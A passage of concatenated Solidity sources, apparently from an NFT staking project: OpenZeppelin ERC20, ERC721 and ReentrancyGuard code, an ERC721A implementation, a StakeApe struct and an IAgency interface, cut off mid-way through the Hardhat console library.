_totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8; struct StakeApe { uint256 tokenId; address owner; bytes1 state; // N: NoOp, T: Training, M: Match, // L: Available for rent, D: Rented uint256 stateDate; } // SPDX-License-Identifier: MIT pragma solidity ^0.8; import "./StakeApe.sol"; interface IAgency { /** Put Apes into agency. Will transfer 721 tokens to the agency in order to play. */ function putApesToAgency(uint[] memory ids, address owner) external; /** Transfer back the Apes from the Agency to original owner's wallet. */ function getApesFromAgency(uint[] memory ids, address owner) external; function setStateForApes(uint[] memory ids, address sender, bytes1 newState) external; function stopStateForApe(uint id, address sender) external returns(uint); function getApe(uint id) external view returns(uint256,address,bytes1,uint256); function setApeState(uint id, bytes1 state, uint256 date) external; function getOwnerApes(address a) external view returns(uint[] memory); function transferApesBackToOwner() external; function returnApeToOwner(uint256 tokenId) external; function returnApeToAddress(uint256 tokenId, address owner) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { 